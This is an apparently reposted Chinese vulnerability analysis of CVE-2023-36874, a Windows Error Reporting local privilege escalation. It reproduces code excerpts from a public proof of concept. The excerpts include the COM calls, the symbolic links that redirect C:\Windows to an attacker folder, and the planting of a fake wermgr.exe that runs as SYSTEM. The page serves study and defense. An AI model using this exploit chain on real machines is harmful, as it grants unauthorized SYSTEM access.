CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

漏洞简介

Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。

影响版本

Windows10 1507 *
Windows10 1607 *
Windows10 1809 *
Windows10 21H2 *
Windows10 22H2 *
Windows11 21H2 *
Windows11 22H2 *
WindowsServer 2008 sp2 *
WindowsServer 2008 r2 sp1 * x64 *
WindowsServer2016 *
WindowsServer2019 *
WindowsServer2022 *

危害等级

7.8 ∣ H I G H \textcolor{Red}{7.8 | HIGH} 7.8∣HIGH

漏洞复现

首先在C盘下创建一个目录test\system32,然后将自己写的exe改名为wermgr.exe放进去,这里我是直接使用poc里面添加账户的exe改名为wermgr.exe。

运行EXP之前可以查看当前用户信息

在这里插入图片描述

运行EXP后

在这里插入图片描述

漏洞分析

【EXP】https://github.com/Wh04m1001/CVE-2023-36874

根据网上给出的POC,可以大致知道执行的流程:

  1. 创建目录C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport

    CreateDirectory(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport", NULL);
    
  2. 从资源中释放错误报告文件MyReport.wer。

    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_REPORT1), L"Report");
    DWORD ReportSize = SizeofResource(hm, res);
    void* ReportBuff = LoadResource(hm, res);
    ...
    HANDLE hFile = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport\\Report.wer", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {printf("[-] Cannot create report.wer file.\n");return -1;
    }
    if (!WriteFile(hFile, ReportBuff, ReportSize, NULL, NULL))
    {printf("[-] Failed to write to report.wer file.\n");return -1;
    }
    
  3. 创建IErcLuaSupportUI接口对象,调用 I E r c L u a S u p p o r t : : G e t W e r S t o r e F a c t o r y ( ) \textcolor{orange}{IErcLuaSupport::GetWerStoreFactory()} IErcLuaSupport::GetWerStoreFactory()构造函数实例化IWerStoreFactory工厂对象。

    result = CoCreateInstance(__uuidof(CLSID_IErcLuaSupport), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IErcLuaSupport), (PVOID*)&pIErcLuaSupport);
    ...
    result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
    
  4. 调用 I W e r S t o r e F a c t o r y : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerStoreFactory::EnumerateStart()} IWerStoreFactory::EnumerateStart()得到IWerStore接口对象。

    result = pIWerStoreFactory->Proc4(&pIWerStore);
    
  5. 使用 I W e r C o m S t o r e : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerComStore::EnumerateStart()} IWerComStore::EnumerateStart()开始模拟错误报告。

    result = pIWerStore->Proc3();
    
  6. 调用 I W e r C o m S t o r e : : L o a d R e p o r t ( ) \textcolor{orange}{IWerComStore::LoadReport()} IWerComStore::LoadReport()加载C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport目录下的错误报告,并获得一个错误报告接口IWerReport的对象。

    BSTR report = SysAllocString(L"MyReport");
    BSTR data = SysAllocString(L"test");
    result = pIWerStore->Proc6(report, &pIWerReport);
    
  7. C:\Windows目录创建一个符号链接,指向一个目录C:\test

    pRtlInitUnicodeString(&object, L"\\??\\test");
    InitializeObjectAttributes(&objAttrDir, &object, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateDirectoryObject(&hObjectdir, 0xF000F, &objAttrDir);pRtlInitUnicodeString(&symlink_name, L"Windows");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkWindows, 0xF0001, &objAttrLink, &path);
    
  8. ProgramData目录创建一个符号链接,指向目录C:\ProgramData

    pRtlInitUnicodeString(&symlink_name, L"ProgramData");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\Programdata");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkProgramdata, 0xF0001, &objAttrLink, &path);
    
  9. C:\目录创建一个符号链接,指向C:\test目录

    pRtlInitUnicodeString(&symlink_name, L"\\??\\C:");
    pRtlInitUnicodeString(&path, L"\\??\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateSymbolicLinkObject(&hSymlink, 0xF0001, &objAttrLink, &path);
    
  10. 调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport(),重点来了。该接口内部会调用 w e r ! W e r p S u b m i t R e p o r t F r o m S t o r e \textcolor{orange}{wer!WerpSubmitReportFromStore} wer!WerpSubmitReportFromStore提交错误报告,然后经历 C R e p o r t H a n d l e I n s t a n c e : : S u b m i t R e p o r t = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m O u t O f P r o c e s s = > U t i l L a u n c h W e r M a n a g e r \textcolor{orange}{CReportHandleInstance::SubmitReport\ =>\ CReportManager::ReportProblem\ =>\ CReportManager::ReportProblemOutOfProcess\ =>\ UtilLaunchWerManager } CReportHandleInstance::SubmitReport => CReportManager::ReportProblem => CReportManager::ReportProblemOutOfProcess => UtilLaunchWerManager到达利用点。

    __int64 __fastcall UtilLaunchWerManager(const unsigned __int16 **a1,__int64 a2,__int64 a3,void *a4,void **a5,void **a6,unsigned int a7,void **a8)
    {if ( GetSystemDirectoryW(Buffer, 0x104u) - 1 > 0x102 ) // 取 C:\Windows\System32 目录{LastError = GetLastError();v27 = ERROR_HR_FROM_WIN32(LastError);v12 = v27;v28 = WPP_GLOBAL_Control;if ( WPP_GLOBAL_Control == (HKEY)&WPP_GLOBAL_Control || ((_BYTE)WPP_GLOBAL_Control[7] & 1) == 0 )goto LABEL_38;v29 = 0x12i64;goto LABEL_67;}v11 = StringCchCatW(Buffer, 0x104ui64, L"\\wermgr.exe"); // 拼接成 C:\Windows\System32\wermgr.exev12 = v11;if ( v11 >= 0 ){...if ( !InitializeProcThreadAttributeList(0i64, 1u, 0, &Size) ){...}ProcessHeap = GetProcessHeap();ThreadAttributeHeap = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, Size);v10 = ThreadAttributeHeap;if ( !ThreadAttributeHeap ){...goto LABEL_37;}if ( !InitializeProcThreadAttributeList(ThreadAttributeHeap, 1u, 0, &Size) ){...goto LABEL_53;}v9 = 1;if ( UpdateProcThreadAttribute(v10, 0, 0x20002ui64, lpValue, 8i64 * a7, 0i64, 0i64) ){StartupInfo.cb = 0x70;v45 = v10;// 创建进程,路径为 C:\windows\system32\wermgr.exeif ( CreateProcessW(Buffer, v14, 0i64, 0i64, 2, 0x80000u, 0i64, 0i64, &StartupInfo, &lpProcessInformation) ){v12 = 0;}...}}
    }
    

    注意 C r e a t e P r o c e s s W \textcolor{cornflowerblue}{CreateProcessW} CreateProcessW函数的bInheritHandles参数大于0,表明新进程会继承父进程的句柄,也就是说子进程和父进程的句柄值是一样的。同时表明父进程句柄的所有权限,子进程同样也有。而错误报告服务运行系统服务中,对应进程名svchost.exe,权限是system。假如能够通过某种方式欺骗服务创建攻击者指定的进程,那自然就可以提权了。

    漏洞利用

    显然从公开的POC中可以看到,利用的方式是在C盘创建一个test目录,在test里又创建一个system32目录,然后把伪造的wermgr.exe放进去。在调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport()前,给windows目录创建一个符号链接指向test,这样就可以在系统服务创建C:\Windows\system32\wermgr.exe进程的时候欺骗系统创建C:\test\system32\wermgr.exe进程,从而以system权限执行任意代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/59012.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python-pyqt不同窗口数据传输【使用静态函数】

文章目录 前言程序1:caogao1.py输入数据界面程序2:caogao2.py接收数据界面 程序3 :将输入数据界面和接收数据界面组合成一个总界面讲解 总结 前言 在编写pyqt 页面时有时候需要不同页面进行数据传输。本文讲解静态函数方法。直接看示例。 程…

FPGA VR摄像机-拍摄和拼接立体 360 度视频

本文介绍的是 FPGA VR 相机的第二个版本,第一个版本是下面这样: 第一版地址: ❝ https://hackaday.io/project/26974-vr-camera-fpga-stereoscopic-3d-360-camera ❞ 本文主要介绍第二版本,第二版本的 VR 摄像机,能够以…

Kotlin学习之密封类

Kotlin中的密封类: kotlin中的密封类,用关键词Sealed修饰,且还有一个规定:Sealed类的子类应该是Sealed类的嵌套类,或者应该在与Sealed类相同的文件中声明。 当我们想定义一个有相同父类,但是有不同子类的时候&#xf…

胡歌深夜发文:我对不起好多人

胡歌的微博又上了热搜。 8月29日01:18分,胡歌微博发文称:“我尽量保持冷静,我对不起好多人,我希望对得起这短暂的一生”,并配了一张自己胡子拉碴的图,右眼的伤疤清晰可见。 不少网友留言称“哥你又喝多了吗…

基于MATLAB的径向基函数插值(RBF插值)(一维、二维、三维)

基于MATLAB的径向基函数插值(RBF插值)(一维、二维、三维) 0 前言1 RBF思路2 1维RBF函数2.1 参数说明2.1.1 核函数选择2.1.2 作用半径2.1.3 多项式拟合2.1.4 误差项(光滑项) 3 2维RBF函数4 3维RBF函数 惯例声…

深入了解Nginx:高性能的开源Web服务器与反向代理

一、Nginx是什么 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,也可以作为负载均衡器和HTTP缓存服务器使用。它采用事件驱动、异步非阻塞的处理方式,能够处理大量并发连接和高流量负载&#xff…

【Selenium】chromedriver最新版本与Chrome自动更新版本不匹配问题

文章目录 一、查看chromedriver版本二、降级Chrome浏览器且禁止自动更新三、chromedriver下载配置四、测试 一、查看chromedriver版本 使用Selenium时需要下载chromedriver 1、首先查看我的Chrome浏览器版本已自动更新到116: 2、查找与之对应的chromedriver版本&am…

Elasticsearch Split和shrink API

背景: 尝试解决如下问题:单分片存在过多文档,超过lucene限制 分析 1.一般为日志数据或者OLAP数据,直接删除索引重建 2.尝试保留索引,生成新索引 - 数据写入新索引,查询时候包含 old_index,new_index 3.…

【【萌新的STM32学习-19-蜂鸣器实验】】

萌新的STM32学习-19-蜂鸣器实验 STM32在正点原子的视频中并未讲述关于蜂鸣器的实验,我们自己探究一下作为简单的HAL库入门 蜂鸣器每隔 300ms 响或者停一次。LED0 每隔 300ms 亮或者灭一次。LED0 亮的时候蜂鸣器不叫,而 LED0 熄灭的时候,蜂鸣…

ospf不规则区域划分和数据库表

华子目录 ospf不规则区域1.远离骨干的非骨干区域2.不连续骨干 不规则区域解决方案1.tunnel-点到点GRE2.ospf虚链路3.多进程双向重发布(推荐) ospf的数据库表 ospf不规则区域 1.远离骨干的非骨干区域 图示 2.不连续骨干 图示 不规则区域解决方案 …

二叉搜索树(C++)

二叉搜索树 概念二叉搜索树的应用二叉搜索树的实现K模型基本结构和函数声明接口实现①find——查找关键码②Insert——插入关键码③Erase——删除关键码(重点)时间复杂度 源码(整体)非递归递归 KV模型 在使用C语言写数据结构阶段时…

Leetcode:【448. 找到所有数组中消失的数字】题解

题目 给你一个含 n 个整数的数组 nums ,其中 nums[i] 在区间 [1, n] 内。请你找出所有在 [1, n] 范围内但没有出现在 nums 中的数字,并以数组的形式返回结果。 难度:简单 题目链接:448. 找到所有数组中消失的数字 示例1 输入&…

Mybatis1.1 环境准备

1.1 环境准备 数据库表(tb_brand)及数据准备实体类 Brand编写测试用例安装 MyBatisX 插件 数据库表(tb_brand)及数据准备 -- 删除tb_brand表 drop table if exists tb_brand; -- 创建tb_brand表 create table tb_brand (-- id 主…

C语言每日一练------Day(6)

本专栏为c语言练习专栏,适合刚刚学完c语言的初学者。本专栏每天会不定时更新,通过每天练习,进一步对c语言的重难点知识进行更深入的学习。 今日练习题关键字:整数转换 异或 💓博主csdn个人主页:小小unicorn…

第62步 深度学习图像识别:多分类建模(Pytorch)

基于WIN10的64位系统演示 一、写在前面 上期我们基于TensorFlow环境做了图像识别的多分类任务建模。 本期以健康组、肺结核组、COVID-19组、细菌性(病毒性)肺炎组为数据集,基于Pytorch环境,构建SqueezeNet多分类模型&#xff0…

【安装包】JDK 17安装教程

软件下载 软件:JDK版本:17语言:简体中文大小:151.24M安装环境:Win11/Win10/Win8/Win7硬件要求:CPU2.0GHz 内存4G(或更高)下载通道①百度网盘丨64位下载链接:https://pan.baidu.com/…

【爬虫】5.5 Selenium 爬取Ajax网页数据

目录 AJAX 简介 任务目标 创建Ajax网站 创建服务器程序 编写爬虫程序 AJAX 简介 AJAX(Asynchronous JavaScript And XML,异步 JavaScript 及 XML) Asynchronous 一种创建交互式、快速动态网页应用的网页开发技术通过在后台与服务器进行…

软考:中级软件设计师:邮件加密系统,网络安全保障,网络威胁与攻击,防火墙技术

软考:中级软件设计师:邮件加密系统 提示:系列被面试官问的问题,我自己当时不会,所以下来自己复盘一下,认真学习和总结,以应对未来更多的可能性 关于互联网大厂的笔试面试,都是需要细心准备的 &…

【Linux-Day8- 进程替换和信号】

进程替换和信号 问题引入 我们发现 终端输入的任意命令的父进程都是bash,这是因为Linux系统是用fork()复制出子进程,然后在子进程中调用替换函数进行进程替换,实现相关命令。 (1) exec 系列替换过程:pcb 使用以前的只…

阿里云申请免费SSL证书的两种验证方式及配置服务器Tomcat升级HTTPS协议

通用教程,其他服务商的免费 SSL 证书也差不多是这个流程。(至少腾讯云的操作步骤和本文是一致,嘻嘻!) 申请 SSL 证书 首先在阿里云上创建并申请 SSL 证书,之后选择 DNS 验证的方式,一种是手动配…